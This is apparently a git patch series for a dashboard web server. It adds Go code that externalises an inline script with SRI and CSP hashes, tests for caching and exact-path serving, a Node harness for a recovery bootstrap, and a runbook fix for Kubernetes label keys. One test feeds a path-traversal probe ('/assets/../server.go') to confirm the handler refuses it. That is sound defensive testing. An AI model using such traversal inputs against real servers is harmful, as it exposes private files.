bytes.Contains(bytes.ToLower(raw[end:]), []byte("<script")) { + return raw, nil + } + body := raw[bodyStart:bodyEnd] + sum := sha256.Sum256(body) + asset := &DashboardScript{ + path: "/assets/dashboard-main." + hex.EncodeToString(sum[:]) + ".js", + integrity: "sha256-" + base64.StdEncoding.EncodeToString(sum[:]), + document: NewIndexDocument(body), + } + tag := []byte(dashboardScriptBootstrap + asset.scriptTag()) + shell := make([]byte, 0, len(raw)-(end-start)+len(tag)) + shell = append(shell, raw[:start]...) + shell = append(shell, tag...) + shell = append(shell, raw[end:]...) + return shell, asset +} + +// Path is the only URL this handler serves; it never opens filesystem paths. +func (s *DashboardScript) Path() string { return s.path } + +func (s *DashboardScript) scriptTag() string { + return `<script id="hive-dashboard-main-script" defer src="` + s.Path() + `" integrity="` + s.integrity + `"></script>` +} + +// Precompress prepares both the compressed bytes and their strong validator. +func (s *DashboardScript) Precompress() { + s.gzipOnce.Do(func() { + if body := s.document.compressedBody(); body != nil { + s.gzipETag = ETagFor(body) + } + }) +} + +func (s *DashboardScript) ServeHTTP(w http.ResponseWriter, r *http.Request) { + h := w.Header() + h.Set("X-Content-Type-Options", "nosniff") + if r.URL.Path != s.path { + h.Set("Cache-Control", "no-cache") + http.NotFound(w, r) + return + } + if r.Method != http.MethodGet && r.Method != http.MethodHead { + h.Set("Cache-Control", "no-cache") + h.Set("Allow", "GET, HEAD") + http.Error(w, "method not allowed", http.StatusMethodNotAllowed) + return + } + h.Set("Content-Type", "text/javascript; charset=utf-8") + h.Set("Cache-Control", dashboardScriptCache) + h.Add("Vary", "Accept-Encoding") + body, etag := s.document.raw, s.document.etag + if acceptsGzip(r.Header.Get("Accept-Encoding")) { + s.Precompress() + if s.document.gzipped != nil { + body, etag = s.document.gzipped, s.gzipETag + h.Set("Content-Encoding", "gzip") + } + } + h.Set("ETag", etag) + if ifNoneMatchHits(r.Header.Get("If-None-Match"), etag) { + w.WriteHeader(http.StatusNotModified) + return + } + h.Set("Content-Length", strconv.Itoa(len(body))) + w.WriteHeader(http.StatusOK) + if r.Method != http.MethodHead { + _, _ = w.Write(body) + } +} diff --git a/src/pkg/dashboard/webstatic/dashboard_script_test.go b/src/pkg/dashboard/webstatic/dashboard_script_test.go new file mode 100644 index 0000000000..b1639b1c16 --- /dev/null +++ b/src/pkg/dashboard/webstatic/dashboard_script_test.go @@ -0,0 +1,428 @@ +package webstatic + +import ( + "bytes" + "compress/gzip" + "crypto/sha256" + "encoding/base64" + "encoding/hex" + "io" + "net/http" + "net/http/httptest" + "os" + "os/exec" + "strconv" + "strings" + "testing" +) + +func dashboardScriptFixture() []byte { + return []byte("<html><head></head><body><script>window.boot = true;</script><main>Loading</main>\n " + + dashboardMainScriptMarker + "\n const lexical = '🐝';\n function action() { return lexical; }\n </script>\n</body></html>") +} + +func requireDashboardScript(t *testing.T, raw []byte) ([]byte, *DashboardScript) { + t.Helper() + shell, asset := ExternalizeDashboardScript(raw) + if asset == nil { + t.Fatal("main script was not externalized") + } + return shell, asset +} + +func TestExternalizeDashboardScriptPreservesBytesAndOrder(t *testing.T) { + raw := InjectBranding(dashboardScriptFixture()) + shell, asset := requireDashboardScript(t, raw) + originalScripts := ExtractInlineScripts(raw) + retainedScripts := ExtractInlineScripts(shell) + if len(originalScripts) != 2 || len(retainedScripts) != 2 { + t.Fatalf("script counts before=%d after=%d, want original boot and recovery bootstrap", len(originalScripts), len(retainedScripts)) + } + if !bytes.Equal(retainedScripts[0], originalScripts[0]) { + t.Fatal("inline boot script changed") + } + if !bytes.Equal(asset.document.raw, originalScripts[1]) { + t.Fatal("main script text, whitespace, lexical bindings or Unicode changed") + } + sum := sha256.Sum256(originalScripts[1]) + if want := "/assets/dashboard-main." + hex.EncodeToString(sum[:]) + ".js"; asset.Path() != want { + t.Fatalf("asset URL = %q, want full content address %q", asset.Path(), want) + } + tag := []byte(`<script id="hive-dashboard-main-script" defer src="` + asset.Path() + + `" integrity="sha256-` + base64.StdEncoding.EncodeToString(sum[:]) + `"></script>`) + replacement := append([]byte(dashboardScriptBootstrap), tag...) + recovered := bytes.Replace(shell, replacement, append(append([]byte("<script>"), asset.document.raw...), []byte("</script>")...), 1) + if !bytes.Equal(recovered, raw) { + t.Fatal("replacing external tag with recovered script did not reproduce exact original HTML") + } + if !bytes.Contains(shell, []byte(BrandingLinkTag)) || bytes.Index(shell, retainedScripts[0]) > bytes.Index(shell, tag) { + t.Fatal("branding or inline boot order was lost") + } + _, same := requireDashboardScript(t, raw) + if same.Path() != asset.Path() { + t.Fatal("identical script bytes produced a different content address") + } + changed := bytes.Replace(raw, []byte("'🐝'"), []byte("'branded bee'"), 1) + _, branded := requireDashboardScript(t, changed) + if branded.Path() == asset.Path() || !bytes.Contains(branded.document.raw, []byte("'branded bee'")) { + t.Fatal("final branded script bytes were not used for content addressing") + } + if bytes.Contains(shell, []byte("type=\"module\"")) || bytes.Contains(shell, []byte("async")) { + t.Fatal("main script must remain an ordered deferred classic script") + } + policy := ScriptSrcElemSources(shell) + if !strings.HasPrefix(policy, "'self' ") || !strings.Contains(policy, CSPScriptHash(retainedScripts[0])) { + t.Fatal("shell CSP must authorize same-origin asset and exact inline boot") + } + if !strings.Contains(policy, CSPScriptHash(retainedScripts[1])) || + bytes.Index(shell, retainedScripts[1]) > bytes.Index(shell, tag) { + t.Fatal("trusted recovery bootstrap must be CSP-authorized before the main script") + } + if strings.Contains(policy, CSPScriptHash(originalScripts[1])) || strings.Contains(policy, "unsafe-inline") { + t.Fatal("shell CSP should not need main-script hash or inline weakening") + } +} + +func TestExternalizeDashboardScriptUnexpectedMarkupIsUnchanged(t *testing.T) { + for name, raw := range map[string][]byte{ + "empty": nil, + "missing": []byte("<body><script>other()</script></body>"), + "unclosed": []byte("<body>" + dashboardMainScriptMarker + "\nmain()"), + "ambiguous": append(dashboardScriptFixture(), dashboardScriptFixture()...), + "later inline": append(dashboardScriptFixture(), []byte("<script>action()</script>")...), + "later external": append(dashboardScriptFixture(), + []byte(`<SCRIPT src="/after.js"></SCRIPT>`)...), + "changed tag": bytes.Replace(dashboardScriptFixture(), []byte(dashboardMainScriptMarker), + []byte(strings.Replace(dashboardMainScriptMarker, "<script>", `<script type="module">`, 1)), 1), + } { + t.Run(name, func(t *testing.T) { + got, asset := ExternalizeDashboardScript(raw) + if asset != nil || !bytes.Equal(got, raw) { + t.Fatal("unexpected markup must retain the original inline document with no asset") + } + }) + } +} + +func TestDashboardScriptRealIndexShellBudget(t *testing.T) { + raw, err := os.ReadFile("../static/index.html") + if err != nil { + t.Fatal(err) + } + shell, asset := requireDashboardScript(t, InjectBranding(raw)) + const maxShellBytes = 1024 * 1024 + const maxShellPercent = 25 + if len(shell) > maxShellBytes || len(shell)*100 > len(raw)*maxShellPercent { + t.Fatalf("initial HTML = %d bytes from %d-byte canonical index; want <= %d bytes and <= %d%%", + len(shell), len(raw), maxShellBytes, maxShellPercent) + } + scripts := ExtractInlineScripts(InjectBranding(raw)) + if len(scripts) != 2 || !bytes.Equal(asset.document.raw, scripts[1]) { + t.Fatal("real main script bytes or script boundary changed") + } + retained := ExtractInlineScripts(shell) + if len(retained) != 2 || !bytes.Equal(retained[0], scripts[0]) { + t.Fatal("real inline boot script changed") + } + for _, global := range []string{ + "window.HIVE_MATRIX", "window.HIVE_KIOSK", "window.HIVE_POPOUT", + "window.HIVE_DISPLAY", "window.hiveURLWithHash", "window.hiveKioskCTAOn", + } { + if !bytes.Contains(retained[0], []byte(global)) || + bytes.Index(shell, []byte(global)) > bytes.Index(shell, []byte(asset.scriptTag())) { + t.Fatalf("ordinary early boot global %q must remain inline before application script", global) + } + } + // Revalidate the actual small shell, not the canonical monolith. + index := NewIndexDocument(shell) + rec := httptest.NewRecorder() + rec.Header().Set("Content-Security-Policy", "default-src 'self'; script-src 'self'; script-src-elem 'self'; script-src-attr 'none'") + ApplyDocumentScriptSrcElem(rec, shell) + index.ServeHTTP(rec, httptest.NewRequest(http.MethodGet, "/", nil)) + if !bytes.Equal(rec.Body.Bytes(), shell) || rec.Header().Get("Cache-Control") != "no-cache" { + t.Fatal("served shell must retain index revalidation semantics") + } + policy := rec.Header().Get("Content-Security-Policy") + for _, script := range retained { + if !strings.Contains(policy, CSPScriptHash(script)) { + t.Fatal("served shell CSP must authorize boot and failure listener exactly") + } + } + if !strings.Contains(policy, "script-src-elem 'self' ") || + !strings.Contains(policy, "script-src-attr 'none'") || strings.Contains(policy, "unsafe-inline") { + t.Fatal("external script source or event-handler CSP boundary changed") + } + req := httptest.NewRequest(http.MethodHead, "/index.html", nil) + req.Header.Set("If-None-Match", rec.Header().Get("ETag")) + rec = httptest.NewRecorder() + index.ServeHTTP(rec, req) + if rec.Code != http.StatusNotModified || rec.Body.Len() != 0 { + t.Fatal("shell conditional HEAD must return an empty 304") + } +} + +func TestDashboardScriptHTTPRepresentations(t *testing.T) { + _, asset := requireDashboardScript(t, dashboardScriptFixture()) + var identityETag string + for _, encoding := range []string{"", "gzip", "gzip;q=0"} { + t.Run("encoding="+encoding, func(t *testing.T) { + req := httptest.NewRequest(http.MethodGet, asset.Path(), nil) + req.Header.Set("Accept-Encoding", encoding) + rec := httptest.NewRecorder() + rec.Header().Set("Vary", "Cookie") + asset.ServeHTTP(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status = %d, want 200", rec.Code) + } + for key, want := range map[string]string{ + "Content-Type": "text/javascript; charset=utf-8", + "X-Content-Type-Options": "nosniff", + "Cache-Control": dashboardScriptCache, + "Content-Length": strconv.Itoa(rec.Body.Len()), + "ETag": ETagFor(rec.Body.Bytes()), + } { + if got := rec.Header().Get(key); got != want { + t.Errorf("%s = %q, want %q", key, got, want) + } + } + if got := strings.Join(rec.Header().Values("Vary"), ", "); got != "Cookie, Accept-Encoding" { + t.Fatalf("Vary = %q, want existing Cookie plus Accept-Encoding", got) + } + body := rec.Body.Bytes() + if encoding == "gzip" { + if rec.Header().Get("Content-Encoding") != "gzip" { + t.Fatal("gzip response not labeled") + } + zr, err := gzip.NewReader(bytes.NewReader(body)) + if err != nil { + t.Fatal(err) + } + body, err = io.ReadAll(zr) + _ = zr.Close() + if err != nil { + t.Fatal(err) + } + if rec.Header().Get("ETag") == identityETag { + t.Fatal("gzip and identity must have distinct strong validators") + } + } else { + identityETag = rec.Header().Get("ETag") + if rec.Header().Get("Content-Encoding") != "" { + t.Fatal("identity representation labeled as compressed") + } + } + if !bytes.Equal(body, asset.document.raw) { + t.Fatal("served main script bytes changed") + } + for _, method := range []string{http.MethodGet, http.MethodHead} { + head := httptest.NewRequest(method, asset.Path(), nil) + head.Header.Set("Accept-Encoding", encoding) + if method == http.MethodHead { + out := httptest.NewRecorder() + asset.ServeHTTP(out, head) + if out.Code != http.StatusOK || out.Body.Len() != 0 || + out.Header().Get("Content-Length") != rec.Header().Get("Content-Length") { + t.Fatal("HEAD must advertise GET length with no body") + } + } + for _, validator := range []string{ + rec.Header().Get("ETag"), "W/" + rec.Header().Get("ETag"), + `"stale", ` + rec.Header().Get("ETag"), "*", + } { + head.Header.Set("If-None-Match", validator) + out := httptest.NewRecorder() + asset.ServeHTTP(out, head) + if out.Code != http.StatusNotModified || out.Body.Len() != 0 || + out.Header().Get("Cache-Control") != dashboardScriptCache || + out.Header().Get("ETag") != rec.Header().Get("ETag") || + out.Header().Get("Vary") != "Accept-Encoding" || + out.Header().Get("Content-Length") != "" { + t.Fatalf("%s conditional response lost cache metadata or carried body: %+v", method, out) + } + } + } + miss := httptest.NewRequest(http.MethodGet, asset.Path(), nil) + miss.Header.Set("Accept-Encoding", encoding) + miss.Header.Set("If-None-Match", `"stale"`) + out := httptest.NewRecorder() + asset.ServeHTTP(out, miss) + if out.Code != http.StatusOK || out.Body.Len() == 0 { + t.Fatal("stale validator must receive the selected full representation") + } + }) + } +} + +func TestDashboardScriptOnlyServesItsExactPath(t *testing.T) { + _, asset := requireDashboardScript(t, dashboardScriptFixture()) + for _, path := range []string{"/", "/index.html", "/assets/", asset.Path() + "/extra", "/assets/../server.go"} { + req := httptest.NewRequest(http.MethodGet, path, nil) + req.Header.Set("If-None-Match", "*") + rec := httptest.NewRecorder() + asset.ServeHTTP(rec, req) + if rec.Code != http.StatusNotFound || rec.Header().Get("ETag") != "" || + strings.Contains(rec.Header().Get("Cache-Control"), "immutable") { + t.Fatalf("path %q served or cached an asset: %+v", path, rec) + } + } + + req := httptest.NewRequest(http.MethodPost, asset.Path(), nil) + req.Header.Set("If-None-Match", "*") + rec := httptest.NewRecorder() + asset.ServeHTTP(rec, req) + if rec.Code != http.StatusMethodNotAllowed || rec.Header().Get("Allow") != "GET, HEAD" { + t.Fatal("asset must reject writes before evaluating validators") + } +} + +func TestDashboardScriptLiteralAssetRoute(t *testing.T) { + const pattern = "GET /assets/{script}" + server, err := os.ReadFile("../server.go") + if err != nil { + t.Fatal(err) + } + if !bytes.Contains(server, []byte("s.mux.Handle("+strconv.Quote(pattern)+", mainScript)")) { + t.Fatal("production asset route must remain a literal pattern discoverable by the API parity guard") + } + _, asset := requireDashboardScript(t, dashboardScriptFixture()) + mux := http.NewServeMux() + mux.Handle(pattern, asset) + mux.HandleFunc("GET /", func(w http.ResponseWriter, _ *http.Request) { + w.WriteHeader(http.StatusTeapot) + }) + for _, method := range []string{http.MethodGet, http.MethodHead} { + req := httptest.NewRequest(method, asset.Path(), nil) + rec := httptest.NewRecorder() + mux.ServeHTTP(rec, req) + if rec.Code != http.StatusOK || rec.Header().Get("ETag") == "" { + t.Fatalf("%s current asset: status=%d, headers=%v", method, rec.Code, rec.Header()) + } + if method == http.MethodHead && rec.Body.Len() != 0 { + t.Fatal("HEAD through the literal route must not carry a body") + } + req.Header.Set("If-None-Match", rec.Header().Get("ETag")) + rec = httptest.NewRecorder() + mux.ServeHTTP(rec, req) + if rec.Code != http.StatusNotModified || rec.Body.Len() != 0 { + t.Fatalf("%s current asset revalidation: status=%d, body=%d bytes", method, rec.Code, rec.Body.Len()) + } + } + for _, path := range []string{ + "/assets/dashboard-main." + strings.Repeat("0", hex.EncodedLen(sha256.Size)) + ".js", + asset.Path() + ".extra", "/assets/server.go", + } { + req := httptest.NewRequest(http.MethodGet, path, nil) + req.Header.Set("If-None-Match", "*") + rec := httptest.NewRecorder() + mux.ServeHTTP(rec, req) + if rec.Code != http.StatusNotFound || rec.Header().Get("ETag") != "" || + strings.Contains(rec.Header().Get("Cache-Control"), "immutable") { + t.Fatalf("nonmatching asset path %q must be rejected before validators: status=%d, headers=%v", + path, rec.Code, rec.Header()) + } + } + for _, path := range []string{"/", "/index.html", "/tokens.css", "/assets/nested/file.js"} { + rec := httptest.NewRecorder() + mux.ServeHTTP(rec, httptest.NewRequest(http.MethodGet, path, nil)) + if rec.Code != http.StatusTeapot { + t.Fatalf("path %q escaped its existing fallback route: status=%d", path, rec.Code) + } + } + rec := httptest.NewRecorder() + mux.ServeHTTP(rec, httptest.NewRequest(http.MethodPost, asset.Path(), nil)) + if rec.Code != http.StatusMethodNotAllowed { + t.Fatalf("POST asset: status=%d, want 405", rec.Code) + } +} + +func TestDashboardScriptFailureBootstrap(t *testing.T) { + node, err := exec.LookPath("node") + if err != nil { + t.Skip("node is required for the bootstrap behavior regression") + } + scripts := ExtractInlineScripts([]byte(dashboardScriptBootstrap)) + if len(scripts) != 1 { + t.Fatal("expected exactly one trusted recovery bootstrap") + } + const harness = ` + const assert = require('node:assert/strict'); + const vm = require('node:vm'); + const source = require('node:fs').readFileSync(0, 'utf8'); + function realm(nativeDialog = true) { + const handlers = {}; + const appended = []; + let reloads = 0; + function element(tag) { + const el = {tag, attrs: {}, events: {}, children: [], + setAttribute(name, value) { this.attrs[name] = value; }, + appendChild(child) { this.children.push(child); }, + addEventListener(type, fn) { this.events[type] = fn; }, + focus() { this.focused = true; } + }; + if (nativeDialog) el.showModal = function() { this.modal = true; }; + return el; + } + const root = element('main'); + const main = {id: 'hive-dashboard-main-script', src: 'https://hive.example/assets/dashboard-main.hash.js'}; + const window = { + location: {reload() { reloads++; }}, + addEventListener(type, fn, capture) { assert.equal(capture, true); handlers[type] = fn; }, + removeEventListener(type, fn, capture) { + assert.equal(capture, true); + assert.equal(handlers[type], fn); + delete handlers[type]; + } + }; + const document = { + getElementById(id) { return id === main.id ? main : id === 'hive-dashboard-root' ? root : null; }, + createElement: element, + body: {appendChild(el) { appended.push(el); }} + }; + vm.runInNewContext(source, {window, document}); + return {handlers, appended, root, main, reloads: () => reloads}; + } + for (const mode of ['resource', 'runtime', 'no-native-dialog']) { + const r = realm(mode !== 'no-native-dialog'); + r.handlers.error({target: {id: 'unrelated-image'}}); + r.handlers.error({target: {}, filename: 'https://hive.example/unrelated.js'}); + assert.equal(r.appended.length, 0, 'unrelated failures must not hide a working dashboard'); + r.handlers.error(mode === 'runtime' ? {target: {}, filename: r.main.src} : {target: r.main}); + assert.equal(r.root.hidden, true, 'inert shell must no longer appear usable'); + assert.ok('inert' in r.root.attrs); + assert.equal(r.appended.length, 1); + assert.deepEqual(Object.keys(r.handlers), [], 'failure listeners must be removed after handling'); + const dialog = r.appended[0]; + assert.equal(dialog.tag, 'dialog'); + assert.equal(dialog.attrs.role, 'alertdialog'); + assert.equal(dialog.id, 'hive-dashboard-load-error'); + assert.equal(dialog.attrs['aria-labelledby'], dialog.children[0].id); + assert.equal(dialog.attrs['aria-describedby'], dialog.children[1].id); + assert.match(dialog.children[0].textContent, /could not finish loading/); + assert.match(dialog.children[1].textContent, /update or connection problem/); + assert.match(dialog.children[1].textContent, /contact your hive operator/); + const button = dialog.children[2]; + assert.equal(button.textContent, 'Reload dashboard'); + assert.equal(button.focused, true); + if (mode === 'no-native-dialog') assert.ok('open' in dialog.attrs); + else assert.equal(dialog.modal, true); + let prevented = false; + dialog.events.cancel({preventDefault() { prevented = true; }}); + assert.equal(prevented, true, 'Escape must not reveal a broken dashboard'); + assert.equal(r.reloads(), 0, 'no automatic reload loop'); + button.events.click(); + assert.equal(r.reloads(), 1); + } + const good = realm(); + good.handlers.load({target: {id: 'unrelated-image'}}); + assert.equal(typeof good.handlers.error, 'function'); + good.handlers.load({target: good.main}); + assert.deepEqual(Object.keys(good.handlers), []); + assert.equal(good.root.hidden, undefined); + assert.equal(good.appended.length, 0, 'successful load must not display an error'); + ` + cmd := exec.Command(node, "-e", harness) + cmd.Stdin = bytes.NewReader(scripts[0]) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("bootstrap behavior regression failed: %v\n%s", err, out) + } +} From 01981043a65fa13e1d8a4351c757478a905e2bae Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Tue, 3 Nov 2026 19:40:56 +0000 Subject: [PATCH 12/87] =?UTF-8?q?=F0=9F=93=96=20docs:=20fix=20namespace=20?= =?UTF-8?q?identity=20label=20keys=20in=20manual-provisioning.md=20(#16460?= =?UTF-8?q?)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The hub stamps hive.hivecommons.dev/* (hiveLabelPrefix in src/pkg/hub/hosted_namespace_identity.go); the runbook still named the legacy hive.kubestellar.io/* keys, so its kubectl selector and jsonpath examples returned nothing. Fixes #16459 Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- ...fixed-16459-manual-provisioning-label-keys.md | 1 + src/docs/manual-provisioning.md | 16 ++++++++-------- 2 files changed, 9 insertions(+), 8 deletions(-) create mode 100644 changelog.d/fixed-16459-manual-provisioning-label-keys.md diff --git a/changelog.d/fixed-16459-manual-provisioning-label-keys.md b/changelog.d/fixed-16459-manual-provisioning-label-keys.md new file mode 100644 index 0000000000..91811627c6 --- /dev/null +++ b/changelog.d/fixed-16459-manual-provisioning-label-keys.md @@ -0,0 +1 @@ +- Fixed `manual-provisioning.md` to name the `hive.hivecommons.dev/*` namespace identity labels and annotation the hub actually stamps, instead of the legacy `hive.kubestellar.io/*` keys (#16459). diff --git a/src/docs/manual-provisioning.md b/src/docs/manual-provisioning.md index 8bb6b2d9f9..2603e08ec0 100644 --- a/src/docs/manual-provisioning.md +++ b/src/docs/manual-provisioning.md @@ -1832,17 +1832,17 @@ never changes: | Key | Kind | Holds | |---|---|---| -| `hive.kubestellar.io/hive-name` | label | The hive's display name (`ProjectName`), **sanitized** to a valid RFC-1123 label value. | -| `hive.kubestellar.io/org` | label | The hive's forge org, sanitized the same way. | -| `hive.kubestellar.io/hive-id` | label | The hive's internal `hive_id`, sanitized the same way. | -| `hive.kubestellar.io/display-name` | annotation | The **exact, unsanitized** hive name β€” the recoverable source of truth when the sanitized label value has been lossily transformed. | +| `hive.hivecommons.dev/hive-name` | label | The hive's display name (`ProjectName`), **sanitized** to a valid RFC-1123 label value. | +| `hive.hivecommons.dev/org` | label | The hive's forge org, sanitized the same way. | +| `hive.hivecommons.dev/hive-id` | label | The hive's internal `hive_id`, sanitized the same way. | +| `hive.hivecommons.dev/display-name` | annotation | The **exact, unsanitized** hive name β€” the recoverable source of truth when the sanitized label value has been lossily transformed. | **Sanitization**: label values are lower-cased, restricted to `[a-z0-9.-]` (everything else β€” spaces, underscores, unicode, punctuation β€” is dropped outright rather than transliterated), trimmed of leading/trailing separators, and capped at 63 characters (the RFC-1123 label-value limit). So a hive named `"TradingAsBuddies"` gets the label value `tradingasbuddies`, while the -`hive.kubestellar.io/display-name` annotation preserves the original +`hive.hivecommons.dev/display-name` annotation preserves the original `TradingAsBuddies` exactly. A field that sanitizes to empty (or wasn't set yet β€” e.g. a fresh placeholder with no real name/org) is **omitted** from the labels rather than written as an empty/invalid label. @@ -1851,14 +1851,14 @@ Given a hive name, find its namespace: ```bash kubectl --context <hub-reachable-cluster> get ns \ - -l hive.kubestellar.io/hive-name=tradingasbuddies + -l hive.hivecommons.dev/hive-name=tradingasbuddies ``` Given a namespace, find the hive that owns it: ```bash kubectl --context <hub-reachable-cluster> get ns hive-hosted-hosted-available-<cluster>-01-placeholder-bb95 \ - -o jsonpath='{.metadata.annotations.hive\.kubestellar\.io/display-name}' + -o jsonpath='{.metadata.annotations.hive\.hivecommons\.dev/display-name}' # -> TradingAsBuddies ``` @@ -1868,7 +1868,7 @@ known or changes, so the namespace never goes stale: 1. **Automatic provisioning** (`provisionHive`, Path A above) β€” stamps whatever is known at namespace-creation time. For a freshly-created pool - placeholder this is often just `hive.kubestellar.io/hive-id`, since + placeholder this is often just `hive.hivecommons.dev/hive-id`, since `org`/`name` are still placeholder values at this point. 2. **Claim** (`handleApproveProvision`) β€” the real name/org become known here for the first time, so the labels/annotation are (re)written. From b80e424bf9e29b13f6f184437b043339dbe1f58c Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Tue, 3 Nov 2026 14:49:22 -0500 Subject: [PATCH 13/87] =?UTF-8?q?=F0=9F=90=9B=20Wait=20for=20dashboard=20p?= =?UTF-8?q?aint=20and=20dismiss=20prior=20fixture=20overlays=20(#16461)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Andrew Anderson <andy@clubanderson.com> Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- .github/scripts/integration-governance.cjs | 2 +- src/docs/dashboard-source-layout.md | 16 ++- .../dashboard/stage_tracker_activity.test.js | 132 +++++++++++++++++- src/scripts/dashboard-mobile-shots.mjs | 24 ++-- .../fixtures/dashboard-browser-readiness.mjs | 72 ++++++++++ 5 files changed, 226 insertions(+), 20 deletions(-) create mode 100644 src/scripts/fixtures/dashboard-browser-readiness.mjs diff --git a/.github/scripts/integration-governance.cjs b/.github/scripts/integration-governance.cjs index 84de24ec01..b82a4b1381 100644 --- a/.github/scripts/integration-governance.cjs +++ b/.github/scripts/integration-governance.cjs @@ -9,7 +9,7 @@ const MAX_COMMITS = 1000; const MAX_AUTHOR_BATCH = 50; // This literal is inside the enrolled .github closure. A caller-supplied // preparedBy.sourceSHA must never choose a new executable verifier tree. -const TRUSTED_SCRIPTS_TREE = '55bc8023d6e79acf4b3eeb284bd4c2f927537630'; +const TRUSTED_SCRIPTS_TREE = 'aa20dad41934337be58b07e3812d78e9c41310e2'; const SOURCE = 'https://github.com/kubernetes-sigs/kubebuilder-release-tools/tree/012269a88fa4c034a0acf1ba84c26b195c0dbab4'; const sha = value => crypto.createHash('sha256').update(value).digest('hex'); const git = (args, cwd = process.cwd()) => diff --git a/src/docs/dashboard-source-layout.md b/src/docs/dashboard-source-layout.md index e3066e0b92..98c36cb959 100644 --- a/src/docs/dashboard-source-layout.md +++ b/src/docs/dashboard-source-layout.md @@ -67,9 +67,19 @@ focuses decision actions without scrolling, which would otherwise close the dialog through its scroll-away listener. Control probes await a bounded stable scroll/visual viewport before every mandatory hit-test; native pointer/keyboard reports also retain each decision action's bounds and actual hit target. -Fixture transitions close the preceding terminal/export dialog through its -native close API, releasing its captured keyboard listener instead of leaving -an unrelated modal over the activity controls. Native pointer preconditions +Before any state probes or screenshots, bounded render readiness waits for +the actual body/root opacity and visibility and two stable layout frames. +It never forces styles or treats a fixed sleep as proof: the file-page cannot +receive the status refresh that normally reveals the body before its boot +fallback. Each viewport/theme report records page readiness; viewport captures +also record their own readiness. A real timeout remains a capture failure, +including when animation frames never arrive. +Fixture transitions use the existing native overlay dismissal policy for all +three legacy modal producers: Settings, Knowledge Sources, and terminal/export. +Cleanup is bounded, waits for the production modal observer, and rejects any +remaining fixture modal or root/body scroll lock. It does not delete modal DOM, +hide overlays manually, or remove scroll-lock classes to manufacture a pass. +Each activity report records cleanup evidence. Native pointer preconditions also hit-test the trigger itself. Viewport captures explicitly target the current document scroll rectangle; density and pointer/keyboard reports inspect their actual PNG pixels, excluding scrollbars, and fail a uniform-background diff --git a/src/pkg/dashboard/stage_tracker_activity.test.js b/src/pkg/dashboard/stage_tracker_activity.test.js index 40be0adeb4..5e0f1cd250 100644 --- a/src/pkg/dashboard/stage_tracker_activity.test.js +++ b/src/pkg/dashboard/stage_tracker_activity.test.js @@ -2,6 +2,8 @@ const test = require('node:test'); const assert = require('node:assert/strict'); const fs = require('node:fs'); const path = require('node:path'); +const vm = require('node:vm'); +const { pathToFileURL } = require('node:url'); const root = path.join(__dirname, 'static-src', 'js'); const strip = fs.readFileSync(path.join(root, 'tracker-row-strip.js'), 'utf8'); @@ -277,8 +279,10 @@ test('canonical activity browser wiring is retained (not browser/visual proof)', assert.match(harness, /failures\.push\(\.\.\.pointerCapture\.failures\)/); assert.match(harness, /failures\.push\(\.\.\.keyboardCapture\.failures\)/); assert.match(harness, /if \(!point\.triggerReachable\) failures\.push/); - assert.match(harness, /document\.querySelectorAll\('\.hive-dialog-overlay'\)[\s\S]*?el\.hiveDialogClose\(\)/); - assert.match(harness, /Prior fixture dialog survived native cleanup/); + assert.match(harness, /resetDashboardFixtureOverlays\.toString\(\)/); + assert.match(harness, /const pageReadiness = await renderReady\(\)/); + assert.match(harness, /const readiness = await renderReady\(\)/); + assert.match(harness, /provenance, pageReadiness, fixtureCleanup, fixture, results/); assert.match(harness, /screenshot\(prefix \+ '-decision-pointer\.png', true\)/); assert.match(harness, /screenshot\(prefix \+ '-decision-keyboard\.png', true\)/); assert.match(harness, /every native decision action must be reachable and unobscured/); @@ -297,6 +301,130 @@ test('canonical activity browser wiring is retained (not browser/visual proof)', assert.match(fixture, /__activityDensityCleanup/); }); +function simulatedBrowser() { + let time = 0, sequence = 0, locked = false; + const frames = new Map(), timers = new Map(), overlays = []; + const style = { opacity: '0', visibility: 'visible', display: 'block' }; + const classList = { contains: name => name === 'modal-open' && locked }; + const body = { classList, getBoundingClientRect: () => ({ width: 1440, height: 2000 }) }; + const context = { + document: { body, documentElement: { classList }, readyState: 'complete', + visibilityState: 'visible', querySelectorAll: () => overlays }, + getComputedStyle: node => node === body ? style : { opacity: '1', visibility: 'visible', display: 'block' }, + performance: { now: () => time }, + requestAnimationFrame: callback => { const id = ++sequence; frames.set(id, callback); return id; }, + cancelAnimationFrame: id => frames.delete(id), + setTimeout: callback => { const id = ++sequence; timers.set(id, callback); return id; }, + clearTimeout: id => timers.delete(id), + hiveOverlayIsOpen: overlay => overlay.open, + hiveDismissTopOverlay: () => { + const overlay = overlays.find(candidate => candidate.open); + if (!overlay) return false; + overlay.open = false; + return true; + }, + }; + return { context, style, overlays, frames, timers, + lock(value) { locked = value; }, + frame() { + time += 16; + const callbacks = [...frames.values()]; frames.clear(); + callbacks.forEach(callback => callback(time)); + }, + expire() { + time += 10000; + const callbacks = [...timers.values()]; timers.clear(); + callbacks.forEach(callback => callback()); + }, + }; +} + +test('canonical paint readiness waits for real opacity and stable frames without changing page styles', async () => { + const helpers = await import(pathToFileURL(path.join(__dirname, '../../scripts/fixtures/dashboard-browser-readiness.mjs')).href); + assert.throws(() => helpers.waitForDashboardPaint(), /dedicated preview/); + const browser = simulatedBrowser(); + const ready = vm.runInNewContext('(' + helpers.waitForDashboardPaint.toString() + ')', browser.context); + const pending = ready({ dedicatedPreview: true }); + browser.frame(); + assert.equal(browser.frames.size, 1, 'body opacity zero cannot pass'); + browser.style.opacity = '0.5'; + browser.frame(); + assert.equal(browser.frames.size, 1, 'the boot fade-in must finish, not merely start'); + browser.style.opacity = '1'; + browser.frame(); + assert.equal(browser.frames.size, 1, 'one visible frame cannot pass'); + browser.style.visibility = 'hidden'; + browser.frame(); + browser.style.visibility = 'visible'; + browser.frame(); + assert.equal(browser.frames.size, 1, 'hidden frames reset consecutive readiness'); + browser.frame(); + const result = await pending; + assert.equal(result.ready, true); + assert.equal(result.stableFrames, 2); + 